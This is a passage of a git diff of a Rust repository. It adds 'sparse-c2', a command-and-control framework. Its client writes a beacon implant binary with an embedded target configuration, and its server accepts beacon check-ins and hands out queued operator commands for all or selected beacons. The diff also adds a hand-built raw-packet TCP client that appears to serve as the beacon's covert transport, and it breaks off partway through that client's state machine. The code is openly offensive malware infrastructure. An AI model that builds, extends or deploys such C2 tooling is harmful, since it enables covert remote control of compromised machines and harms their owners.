Ok(pkts) => {
|
||||||
|
for (b, d) in pkts {
|
||||||
|
let pkt = format_packet!(b.build(srcip, ip, d, None));
|
||||||
|
packet_queue.push_back(pkt);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ => continue
|
||||||
|
}
|
||||||
|
},
|
||||||
|
else => { continue; }
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Some(packet) = packet_queue.pop_front() {
|
||||||
|
log::trace!("sending packet now ({packet:?})");
|
||||||
|
_ = packets.sendpacket(packet.pkt());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
13
sparse-c2/sparse-c2-client/Cargo.toml
Normal file
13
sparse-c2/sparse-c2-client/Cargo.toml
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
[package]
|
||||||
|
name = "sparse-c2-client"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
anyhow = "1.0.75"
|
||||||
|
serde_json = "1.0.108"
|
||||||
|
sparse-c2-messages = { path = "../sparse-c2-messages" }
|
||||||
|
structopt = "0.3.26"
|
||||||
|
tokio = { version = "1.34.0", features = ["full"] }
|
||||||
182
sparse-c2/sparse-c2-client/src/main.rs
Normal file
182
sparse-c2/sparse-c2-client/src/main.rs
Normal file
@ -0,0 +1,182 @@
|
|||||||
|
use std::{
|
||||||
|
self,
|
||||||
|
io::{self, Write},
|
||||||
|
net::{Ipv4Addr, SocketAddr},
|
||||||
|
};
|
||||||
|
|
||||||
|
use structopt::StructOpt;
|
||||||
|
use tokio::{
|
||||||
|
io::{AsyncReadExt, AsyncWriteExt},
|
||||||
|
net::TcpStream,
|
||||||
|
};
|
||||||
|
|
||||||
|
use sparse_c2_messages::{BeaconId, BeaconOptions, ClientCommand, ClientResponse, CONF_SEPARATOR};
|
||||||
|
|
||||||
|
#[cfg(debug_assertions)]
|
||||||
|
const BEACON: &'static [u8] = include_bytes!("../../../target/debug/sparse-c2-beacon");
|
||||||
|
#[cfg(not(debug_assertions))]
|
||||||
|
const BEACON: &'static [u8] = include_bytes!("../../../target/release/sparse-c2-beacon");
|
||||||
|
|
||||||
|
#[derive(StructOpt)]
|
||||||
|
enum Command {
|
||||||
|
Generate {
|
||||||
|
#[structopt(short = "i", long)]
|
||||||
|
target_ip: Ipv4Addr,
|
||||||
|
|
||||||
|
#[structopt(short = "p", long)]
|
||||||
|
target_port: u16,
|
||||||
|
|
||||||
|
#[structopt(short = "o", long)]
|
||||||
|
source_ip: Ipv4Addr,
|
||||||
|
|
||||||
|
#[structopt(short = "s", long)]
|
||||||
|
sleep_secs: u32,
|
||||||
|
|
||||||
|
#[structopt(short = "n", long)]
|
||||||
|
name: String,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(StructOpt)]
|
||||||
|
struct Options {
|
||||||
|
#[structopt(long, short)]
|
||||||
|
address: SocketAddr,
|
||||||
|
|
||||||
|
#[structopt(subcommand)]
|
||||||
|
command: Option<Command>,
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn list_state(client: &mut TcpStream) -> anyhow::Result<()> {
|
||||||
|
let cmd = serde_json::to_vec(&ClientCommand::GetState)?;
|
||||||
|
|
||||||
|
client.write(&cmd).await?;
|
||||||
|
|
||||||
|
let mut buf = [0u8; 8192];
|
||||||
|
let len = client.read_u32().await? as usize;
|
||||||
|
client.read(&mut buf[..len]).await?;
|
||||||
|
|
||||||
|
let ClientResponse::StateUpdate(beacons, commands) = serde_json::from_slice(&buf[..len])?;
|
||||||
|
|
||||||
|
println!("Commands issued:");
|
||||||
|
for command in commands {
|
||||||
|
match command.beacon_id {
|
||||||
|
Some(beacon) => println!(
|
||||||
|
"\t[id {}] (targets: {}): {}",
|
||||||
|
command.command_id.0, beacon.0, command.command
|
||||||
|
),
|
||||||
|
None => println!(
|
||||||
|
"\t[id {}] (targets: all): {}",
|
||||||
|
command.command_id.0, command.command
|
||||||
|
),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
println!("\nBeacons:");
|
||||||
|
for beacon in beacons {
|
||||||
|
print!("\t[id {}] (listening on: {}) ", beacon.id.0, beacon.port);
|
||||||
|
|
||||||
|
match beacon.last_connection {
|
||||||
|
Some(ci) => print!("last checked in {ci}; "),
|
||||||
|
None => print!("has not checked in; "),
|
||||||
|
};
|
||||||
|
|
||||||
|
if beacon.done_commands.is_empty() {
|
||||||
|
println!("no commands executed");
|
||||||
|
} else {
|
||||||
|
println!("{} commands executed", beacon.done_commands.len());
|
||||||
|
for cmd in beacon.done_commands {
|
||||||
|
println!("\t\t[id {}] executed at {}", cmd.0 .0, cmd.1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() -> anyhow::Result<()> {
|
||||||
|
let options = Options::from_args();
|
||||||
|
|
||||||
|
let mut client = TcpStream::connect(options.address).await?;
|
||||||
|
|
||||||
|
match &options.command {
|
||||||
|
Some(Command::Generate {
|
||||||
|
target_ip,
|
||||||
|
target_port,
|
||||||
|
source_ip,
|
||||||
|
sleep_secs,
|
||||||
|
name,
|
||||||
|
}) => {
|
||||||
|
let mut file = tokio::fs::OpenOptions::default()
|
||||||
|
.write(true)
|
||||||
|
.create(true)
|
||||||
|
.mode(0o755)
|
||||||
|
.open(name)
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
file.write_all(BEACON).await?;
|
||||||
|
file.write_all(CONF_SEPARATOR).await?;
|
||||||
|
|
||||||
|
let conf = serde_json::to_vec(&BeaconOptions {
|
||||||
|
sleep_secs: *sleep_secs,
|
||||||
|
target_ip: *target_ip,
|
||||||
|
source_ip: *source_ip,
|
||||||
|
target_port: *target_port,
|
||||||
|
})?;
|
||||||
|
file.write_all(&conf).await?;
|
||||||
|
|
||||||
|
let listen =
|
||||||
|
serde_json::to_vec(&ClientCommand::ListenFor(name.to_string(), *target_port))?;
|
||||||
|
|
||||||
|
client.write_all(&listen).await?;
|
||||||
|
}
|
||||||
|
None => {
|
||||||
|
let stdin = io::stdin();
|
||||||
|
let mut stdout = io::stdout();
|
||||||
|
let mut selected_beacon: Option<BeaconId> = None;
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let mut buffer = String::new();
|
||||||
|
match selected_beacon {
|
||||||
|
Some(ref bid) => print!("{} > ", bid.0),
|
||||||
|
None => print!("> "),
|
||||||
|
};
|
||||||
|
stdout.flush()?;
|
||||||
|
stdin.read_line(&mut buffer)?;
|
||||||
|
|
||||||
|
let mut items = buffer.trim().split(' ');
|
||||||
|
let cmd = items.next();
|
||||||
|
|
||||||
|
match cmd {
|
||||||
|
None | Some("") => {
|
||||||
|
eprintln!("Please enter a command!")
|
||||||
|
}
|
||||||
|
Some("list") => {
|
||||||
|
list_state(&mut client).await?;
|
||||||
|
}
|
||||||
|
Some("select") => {
|
||||||
|
let beacon = items.next();
|
||||||
|
selected_beacon = beacon.map(ToOwned::to_owned).map(BeaconId);
|
||||||
|
}
|
||||||
|
Some("cmd") => {
|
||||||
|
let parts = items.collect::<Vec<_>>();
|
||||||
|
let cmd = parts.join(" ");
|
||||||
|
|
||||||
|
let cmd = serde_json::to_vec(&ClientCommand::SendCommand(
|
||||||
|
selected_beacon.clone(),
|
||||||
|
cmd,
|
||||||
|
))?;
|
||||||
|
|
||||||
|
client.write(&cmd).await?;
|
||||||
|
let _ = client.read_u32().await?;
|
||||||
|
}
|
||||||
|
Some(other) => {
|
||||||
|
eprintln!("Unknown command: {other}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
10
sparse-c2/sparse-c2-messages/Cargo.toml
Normal file
10
sparse-c2/sparse-c2-messages/Cargo.toml
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
[package]
|
||||||
|
name = "sparse-c2-messages"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
chrono = { version = "0.4.31", features = ["serde"] }
|
||||||
|
serde = { version = "1.0.193", features = ["derive"] }
|
||||||
55
sparse-c2/sparse-c2-messages/src/lib.rs
Normal file
55
sparse-c2/sparse-c2-messages/src/lib.rs
Normal file
@ -0,0 +1,55 @@
|
|||||||
|
use std::net::Ipv4Addr;
|
||||||
|
|
||||||
|
use chrono::prelude::*;
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
|
||||||
|
pub const CONF_SEPARATOR: &'static [u8] = b"3ce6b7d3741941cbb88756c52ea8afdff45989fc440d47f295f77e068d3e19d4693c007b767b476cac7080c5cfb0bb63";
|
||||||
|
pub const CLIENT_PORT: u16 = 2034;
|
||||||
|
|
||||||
|
#[derive(Deserialize, Serialize, PartialEq, Eq, Clone)]
|
||||||
|
pub struct BeaconId(pub String);
|
||||||
|
|
||||||
|
#[derive(Deserialize, Serialize, PartialEq, Eq, Clone, Copy)]
|
||||||
|
pub struct CommandId(pub u32);
|
||||||
|
|
||||||
|
#[derive(Deserialize, Serialize)]
|
||||||
|
pub struct BeaconOptions {
|
||||||
|
pub target_ip: Ipv4Addr,
|
||||||
|
pub target_port: u16,
|
||||||
|
pub source_ip: Ipv4Addr,
|
||||||
|
pub sleep_secs: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Deserialize, Serialize, Clone)]
|
||||||
|
pub struct Command {
|
||||||
|
pub beacon_id: Option<BeaconId>,
|
||||||
|
pub command_id: CommandId,
|
||||||
|
pub command: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Deserialize, Serialize, Clone)]
|
||||||
|
pub struct BeaconInfo {
|
||||||
|
pub id: BeaconId,
|
||||||
|
pub port: u16,
|
||||||
|
pub last_connection: Option<DateTime<Utc>>,
|
||||||
|
pub done_commands: Vec<(CommandId, DateTime<Utc>)>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Deserialize, Serialize)]
|
||||||
|
pub enum BeaconCommand {
|
||||||
|
Command(Command),
|
||||||
|
Noop,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Deserialize, Serialize)]
|
||||||
|
pub enum ClientCommand {
|
||||||
|
GetState,
|
||||||
|
ListenFor(String, u16),
|
||||||
|
Stop(String),
|
||||||
|
SendCommand(Option<BeaconId>, String),
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Deserialize, Serialize)]
|
||||||
|
pub enum ClientResponse {
|
||||||
|
StateUpdate(Vec<BeaconInfo>, Vec<Command>),
|
||||||
|
}
|
||||||
16
sparse-c2/sparse-c2-server/Cargo.toml
Normal file
16
sparse-c2/sparse-c2-server/Cargo.toml
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
[package]
|
||||||
|
name = "sparse-c2-server"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
anyhow = "1.0.75"
|
||||||
|
chrono = "0.4.31"
|
||||||
|
log = "0.4.20"
|
||||||
|
nix = "0.27.1"
|
||||||
|
serde_json = "1.0.108"
|
||||||
|
simple_logger = "4.3.0"
|
||||||
|
sparse-c2-messages = { path = "../sparse-c2-messages" }
|
||||||
|
tokio = { version = "1.34.0", features = ["full"] }
|
||||||
205
sparse-c2/sparse-c2-server/src/main.rs
Normal file
205
sparse-c2/sparse-c2-server/src/main.rs
Normal file
@ -0,0 +1,205 @@
|
|||||||
|
use std::{
|
||||||
|
net::Ipv4Addr,
|
||||||
|
os::fd::AsRawFd,
|
||||||
|
sync::{
|
||||||
|
atomic::{AtomicU32, Ordering},
|
||||||
|
Arc, Mutex,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
use nix::libc::{ioctl, TIOCOUTQ};
|
||||||
|
use tokio::{
|
||||||
|
io::{AsyncReadExt, AsyncWriteExt},
|
||||||
|
net::{TcpListener, TcpStream},
|
||||||
|
task::yield_now,
|
||||||
|
};
|
||||||
|
|
||||||
|
use sparse_c2_messages::{
|
||||||
|
BeaconCommand, BeaconId, BeaconInfo, ClientCommand, ClientResponse, Command, CommandId,
|
||||||
|
CLIENT_PORT,
|
||||||
|
};
|
||||||
|
|
||||||
|
async fn beacon_accept_task(
|
||||||
|
beacon: Arc<Mutex<BeaconInfo>>,
|
||||||
|
commands: Arc<Mutex<Vec<Command>>>,
|
||||||
|
) -> anyhow::Result<()> {
|
||||||
|
let port = {
|
||||||
|
let beacon = beacon.lock().unwrap();
|
||||||
|
beacon.port
|
||||||
|
};
|
||||||
|
let socket = TcpListener::bind(format!("0.0.0.0:{port}")).await?;
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let (mut client, _) = socket.accept().await?;
|
||||||
|
|
||||||
|
let commands_to_send: Vec<_> = {
|
||||||
|
let beacon = beacon.lock().unwrap();
|
||||||
|
let commands = commands.lock().unwrap();
|
||||||
|
commands
|
||||||
|
.iter()
|
||||||
|
.filter(|comm| {
|
||||||
|
(comm.beacon_id.is_none() || comm.beacon_id.as_ref() == Some(&beacon.id))
|
||||||
|
&& !beacon
|
||||||
|
.done_commands
|
||||||
|
.iter()
|
||||||
|
.any(|done_comm| done_comm.0 == comm.command_id)
|
||||||
|
})
|
||||||
|
.map(Clone::clone)
|
||||||
|
.collect()
|
||||||
|
};
|
||||||
|
|
||||||
|
{
|
||||||
|
let mut beacon = beacon.lock().unwrap();
|
||||||
|
log::info!("Beacon {} checking in", beacon.id.0);
|
||||||
|
beacon.last_connection = Some(chrono::Utc::now());
|
||||||
|
}
|
||||||
|
|
||||||
|
let Some(ref command_to_send) = commands_to_send.get(0) else {
|
||||||
|
let Ok(buffer) = serde_json::to_vec(&BeaconCommand::Noop) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
|
let _ = client.write_all(&buffer).await;
|
||||||
|
|
||||||
|
let mut res = 0i16;
|
||||||
|
unsafe {
|
||||||
|
ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res);
|
||||||
|
}
|
||||||
|
while res != 0 {
|
||||||
|
yield_now().await;
|
||||||
|
unsafe {
|
||||||
|
ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
|
let Ok(buffer) = serde_json::to_vec(&BeaconCommand::Command((*command_to_send).clone()))
|
||||||
|
else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
let _ = client.write_all(&buffer).await;
|
||||||
|
|
||||||
|
let mut res = 0i16;
|
||||||
|
unsafe {
|
||||||
|
ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res);
|
||||||
|
}
|
||||||
|
while res != 0 {
|
||||||
|
yield_now().await;
|
||||||
|
unsafe {
|
||||||
|
ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
{
|
||||||
|
let mut beacon = beacon.lock().unwrap();
|
||||||
|
beacon
|
||||||
|
.done_commands
|
||||||
|
.push((command_to_send.command_id, chrono::Utc::now()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn handle_client(
|
||||||
|
command_id: Arc<AtomicU32>,
|
||||||
|
mut client: TcpStream,
|
||||||
|
beacons: Arc<Mutex<Vec<Arc<Mutex<BeaconInfo>>>>>,
|
||||||
|
commands: Arc<Mutex<Vec<Command>>>,
|
||||||
|
) -> anyhow::Result<()> {
|
||||||
|
loop {
|
||||||
|
let mut buffer = [0u8; 1024];
|
||||||
|
let len = client.read(&mut buffer[..]).await?;
|
||||||
|
let Ok(cmd) = serde_json::from_slice::<ClientCommand>(&buffer[..len]) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
|
match cmd {
|
||||||
|
ClientCommand::GetState => {
|
||||||
|
let beacons = {
|
||||||
|
let beacons = beacons.lock().unwrap();
|
||||||
|
beacons
|
||||||
|
.iter()
|
||||||
|
.map(|beacon| beacon.lock().unwrap().clone())
|
||||||
|
.collect()
|
||||||
|
};
|
||||||
|
let commands = {
|
||||||
|
let commands = commands.lock().unwrap();
|
||||||
|
commands.clone()
|
||||||
|
};
|
||||||
|
let res = serde_json::to_vec(&ClientResponse::StateUpdate(beacons, commands))?;
|
||||||
|
client.write_u32(res.len() as u32).await?;
|
||||||
|
client.write(&res).await?;
|
||||||
|
}
|
||||||
|
ClientCommand::ListenFor(id, port) => {
|
||||||
|
let beacon = Arc::new(Mutex::new(BeaconInfo {
|
||||||
|
id: BeaconId(id),
|
||||||
|
port,
|
||||||
|
last_connection: None,
|
||||||
|
done_commands: vec![],
|
||||||
|
}));
|
||||||
|
|
||||||
|
{
|
||||||
|
let mut beacons = beacons.lock().unwrap();
|
||||||
|
beacons.push(Arc::clone(&beacon));
|
||||||
|
}
|
||||||
|
|
||||||
|
let commands = Arc::clone(&commands);
|
||||||
|
|
||||||
|
tokio::spawn(async move {
|
||||||
|
if let Err(e) = beacon_accept_task(beacon, commands).await {
|
||||||
|
log::error!("could not handle beacon listener: {e:?}");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
client.write_u32(0).await?;
|
||||||
|
}
|
||||||
|
ClientCommand::SendCommand(id, command) => {
|
||||||
|
{
|
||||||
|
let mut commands = commands.lock().unwrap();
|
||||||
|
let command_id = CommandId(command_id.fetch_add(1, Ordering::SeqCst));
|
||||||
|
|
||||||
|
commands.push(Command {
|
||||||
|
beacon_id: id,
|
||||||
|
command_id,
|
||||||
|
command,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
client.write_u32(0).await?;
|
||||||
|
}
|
||||||
|
ClientCommand::Stop(_) => {
|
||||||
|
client.write_u32(0).await?;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::main(flavor = "current_thread")]
|
||||||
|
async fn main() -> anyhow::Result<()> {
|
||||||
|
simple_logger::SimpleLogger::new()
|
||||||
|
.with_level(log::LevelFilter::Trace)
|
||||||
|
.with_module_level("tcp_test", log::LevelFilter::Trace)
|
||||||
|
.init()?;
|
||||||
|
|
||||||
|
let commands = Arc::new(Mutex::new(vec![]));
|
||||||
|
let beacons = Arc::new(Mutex::new(vec![]));
|
||||||
|
|
||||||
|
let socket = TcpListener::bind(format!("0.0.0.0:{CLIENT_PORT}")).await?;
|
||||||
|
|
||||||
|
let command_id = Arc::new(AtomicU32::from(0));
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let (client, _) = socket.accept().await?;
|
||||||
|
|
||||||
|
let beacons = Arc::clone(&beacons);
|
||||||
|
let commands = Arc::clone(&commands);
|
||||||
|
let command_id = Arc::clone(&command_id);
|
||||||
|
|
||||||
|
tokio::spawn(async {
|
||||||
|
if let Err(e) = handle_client(command_id, client, beacons, commands).await {
|
||||||
|
log::error!("error handling client {e:?}");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
20
tcp-test/client/Cargo.toml
Normal file
20
tcp-test/client/Cargo.toml
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
[package]
|
||||||
|
name = "tcp-test"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
pcap-sys = { path = "../../pcap-sys" }
|
||||||
|
packets = { path = "../../packets" }
|
||||||
|
nl-sys = { path = "../../nl-sys" }
|
||||||
|
rand = "0.8.5"
|
||||||
|
tokio = { version = "1.32.0", features = ["full"] }
|
||||||
|
anyhow = "1.0.75"
|
||||||
|
tokio-stream = { version = "0.1.14", features = ["full"] }
|
||||||
|
#smoltcp = { version = "0.10", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation", "log", "verbose"] }
|
||||||
|
libc = "0.2.148"
|
||||||
|
log = { version = "0.4.20", features = [ "kv_unstable" ] }
|
||||||
|
simple_logger = "4.2.0"
|
||||||
|
ringbuf = "0.3.3"
|
||||||
521
tcp-test/client/src/main.rs
Normal file
521
tcp-test/client/src/main.rs
Normal file
@ -0,0 +1,521 @@
|
|||||||
|
use std::{
|
||||||
|
collections::VecDeque,
|
||||||
|
mem::MaybeUninit,
|
||||||
|
net::{Ipv4Addr, SocketAddr},
|
||||||
|
time::{Duration, Instant},
|
||||||
|
};
|
||||||
|
|
||||||
|
use anyhow::{anyhow, bail, Context};
|
||||||
|
use ringbuf::LocalRb;
|
||||||
|
use tokio::{sync::mpsc, task, time::sleep_until};
|
||||||
|
use tokio_stream::StreamExt;
|
||||||
|
|
||||||
|
use nl_sys::{netlink, route};
|
||||||
|
|
||||||
|
use packets::{
|
||||||
|
self, ARPMode, ARPPacket, ARPProto, EthernetPacket, IPv4Packet, IPv4Pkt, Layer3Packet,
|
||||||
|
Layer3Pkt, Layer4Packet, Layer4Pkt, TCPPacket, TCPPacketBuilder, TCPPkt,
|
||||||
|
};
|
||||||
|
use pcap_sys;
|
||||||
|
|
||||||
|
struct PeerInfo {
|
||||||
|
remote_addr: Ipv4Addr,
|
||||||
|
remote_port: u16,
|
||||||
|
local_addr: Ipv4Addr,
|
||||||
|
local_port: u16,
|
||||||
|
}
|
||||||
|
|
||||||
|
enum Timeout {
|
||||||
|
Idle { heartbeat: Option<Instant> },
|
||||||
|
Retransmit {},
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
struct TcpSocket {
|
||||||
|
tx_buffer: LocalRb<u8, [MaybeUninit<u8>; 65536]>,
|
||||||
|
rx_buffer: LocalRb<u8, [MaybeUninit<u8>; 65536]>,
|
||||||
|
first_ack: u32,
|
||||||
|
first_rack: u32,
|
||||||
|
local_seq_no: u32,
|
||||||
|
remote_seq_no: u32,
|
||||||
|
remote_last_ack: Option<u32>,
|
||||||
|
remote_last_win: u16,
|
||||||
|
local_rx_last_seq: Option<u32>,
|
||||||
|
local_rx_last_ack: Option<u32>,
|
||||||
|
state: TcpState,
|
||||||
|
peer_info: Option<PeerInfo>,
|
||||||
|
retransmit_timeout: Option<Duration>,
|
||||||
|
last_packet_received: Option<Instant>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TcpSocket {}
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
enum TcpState {
|
||||||
|
Listen,
|
||||||
|
SynSent,
|
||||||
|
SynReceived,
|
||||||
|
Established,
|
||||||
|
FinWait1,
|
||||||
|
FinWait2,
|
||||||
|
CloseWait,
|
||||||
|
Closing,
|
||||||
|
LastAck,
|
||||||
|
TimeWait,
|
||||||
|
#[default]
|
||||||
|
Closed,
|
||||||
|
}
|
||||||
|
|
||||||
|
enum TcpOptions {
|
||||||
|
EndOfList,
|
||||||
|
NoOp,
|
||||||
|
MaxSegmentSize(u16),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TcpOptions {
|
||||||
|
fn get_bytes(&self) -> Vec<u8> {
|
||||||
|
match self {
|
||||||
|
Self::EndOfList => vec![0x00],
|
||||||
|
Self::NoOp => vec![0x01],
|
||||||
|
Self::MaxSegmentSize(size) => [&[0x02, 0x04][..], &size.to_be_bytes()].concat(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn socket_accepts_packet(socket: &TcpSocket, ip: &IPv4Pkt<'_>, tcp: &TCPPkt<'_>) -> bool {
|
||||||
|
if let Some(peer) = &socket.peer_info {
|
||||||
|
peer.local_addr == ip.dest_ip()
|
||||||
|
&& peer.remote_addr == ip.source_ip()
|
||||||
|
&& peer.local_port == tcp.dstport()
|
||||||
|
&& peer.remote_port == tcp.srcport()
|
||||||
|
} else {
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn connect(
|
||||||
|
socket: &mut TcpSocket,
|
||||||
|
remote_addr: Ipv4Addr,
|
||||||
|
remote_port: u16,
|
||||||
|
local_addr: Ipv4Addr,
|
||||||
|
send_state_changed: &mpsc::Sender<TcpState>,
|
||||||
|
) -> (u16, TCPPacket) {
|
||||||
|
socket.state = TcpState::SynSent;
|
||||||
|
let local_port: u16 = loop {
|
||||||
|
let port = rand::random();
|
||||||
|
if port > 40000 {
|
||||||
|
break port;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let _ = send_state_changed.send(TcpState::SynSent).await;
|
||||||
|
socket.peer_info = Some(PeerInfo {
|
||||||
|
remote_addr,
|
||||||
|
remote_port,
|
||||||
|
local_addr,
|
||||||
|
local_port,
|
||||||
|
});
|
||||||
|
|
||||||
|
socket.local_seq_no = rand::random();
|
||||||
|
socket.first_ack = socket.local_seq_no;
|
||||||
|
|
||||||
|
let packet = TCPPacketBuilder::default()
|
||||||
|
.srcport(local_port)
|
||||||
|
.dstport(remote_port)
|
||||||
|
.syn(true)
|
||||||
|
.window(64240)
|
||||||
|
.seqnumber(socket.local_seq_no)
|
||||||
|
//.options([TcpOptions::MaxSegmentSize(64240).get_bytes()].concat())
|
||||||
|
.build(local_addr, remote_addr, vec![], None);
|
||||||
|
|
||||||
|
(local_port, packet)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn process_timeout(socket: &mut TcpSocket) -> anyhow::Result<Option<(TCPPacketBuilder, Vec<u8>)>> {
|
||||||
|
Ok(None)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn process_packet(
|
||||||
|
socket: &mut TcpSocket,
|
||||||
|
packet: TCPPkt<'_>,
|
||||||
|
send_state_changed: &mpsc::Sender<TcpState>,
|
||||||
|
) -> anyhow::Result<(Vec<(TCPPacketBuilder, Vec<u8>)>, Option<Vec<u8>>)> {
|
||||||
|
match (&socket.state, &socket.peer_info) {
|
||||||
|
(TcpState::SynSent, Some(peer)) if packet.ack() && packet.syn() => {
|
||||||
|
log::debug!("established connection with peer");
|
||||||
|
|
||||||
|
socket.remote_last_ack = Some(socket.local_seq_no);
|
||||||
|
socket.remote_seq_no = packet.seqnumber() + 1;
|
||||||
|
socket.remote_last_win = packet.window();
|
||||||
|
socket.first_rack = packet.seqnumber();
|
||||||
|
socket.local_seq_no += 1;
|
||||||
|
|
||||||
|
let tcppacketbuilder = TCPPacketBuilder::default()
|
||||||
|
.srcport(peer.local_port)
|
||||||
|
.dstport(peer.remote_port)
|
||||||
|
.ack(true)
|
||||||
|
.window(512)
|
||||||
|
.acknumber(socket.remote_seq_no)
|
||||||
|
.seqnumber(socket.local_seq_no);
|
||||||
|
|
||||||
|
socket.state = TcpState::Established;
|
||||||
|
let _ = send_state_changed.send(TcpState::Established).await;
|
||||||
|
|
||||||
|
Ok((vec![(tcppacketbuilder, vec![])], None))
|
||||||
|
}
|
||||||
|
(TcpState::Established, Some(peer)) if packet.fin() => {
|
||||||
|
log::debug!("Received fin!");
|
||||||
|
|
||||||
|
socket.remote_last_ack = Some(socket.local_seq_no);
|
||||||
|
socket.remote_last_win = packet.window();
|
||||||
|
socket.remote_seq_no += 1;
|
||||||
|
|
||||||
|
socket.state = TcpState::CloseWait;
|
||||||
|
let _ = send_state_changed.send(TcpState::CloseWait).await;
|
||||||
|
|
||||||
|
let ackbuilder = TCPPacketBuilder::default()
|
||||||
|
.srcport(peer.local_port)
|
||||||
|
.dstport(peer.remote_port)
|
||||||
|
.ack(true)
|
||||||
|
.window(512)
|
||||||
|
.acknumber(socket.remote_seq_no)
|
||||||
|
.seqnumber(socket.local_seq_no);
|
||||||
|
|
||||||
|
socket.local_seq_no += 1;
|
||||||
|
|
||||||
|
let finbuilder = TCPPacketBuilder::default()
|
||||||
|
.srcport(peer.local_port)
|
||||||
|
.dstport(peer.remote_port)
|
||||||
|
.ack(true)
|
||||||
|
.window(512)
|
||||||
|
.acknumber(socket.remote_seq_no)
|
||||||
|
.seqnumber(socket.local_seq_no);
|
||||||
|
|
||||||
|
Ok((vec![(ackbuilder, vec![]), (finbuilder, vec![])], None))
|
||||||
|
}
|
||||||
|
(TcpState::Established, Some(peer)) if packet.ack() => {
|
||||||
|
log::debug!("received packet from server",);
|
||||||
|
|
||||||
|
socket.remote_last_ack = Some(socket.local_seq_no);
|
||||||
|
socket.remote_last_win = packet.window();
|
||||||
|
socket.remote_seq_no += (packet.data().len() & 0xFFFFFFFF) as u32;
|
||||||
|
|
||||||
|
let tcppacketbuilder = TCPPacketBuilder::default()
|
||||||
|
.srcport(peer.local_port)
|
||||||
|
.dstport(peer.remote_port)
|
||||||
|
.ack(true)
|
||||||
|
.window(512)
|
||||||
|
.acknumber(socket.remote_seq_no)
|
||||||
|
.seqnumber(socket.local_seq_no);
|
||||||
|
|
||||||
|
if !packet.data().is_empty() {
|
||||||
|
log::debug!("received data: {:?}", packet.data());
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok((
|
||||||
|
vec![(tcppacketbuilder, vec![])],
|
||||||
|
match packet.data() {
|
||||||
|
[] => None,
|
||||||
|
da => Some(da.to_owned()),
|
||||||
|
},
|
||||||
|
))
|
||||||
|
}
|
||||||
|
(TcpState::FinWait1, _) if packet.ack() => {
|
||||||
|
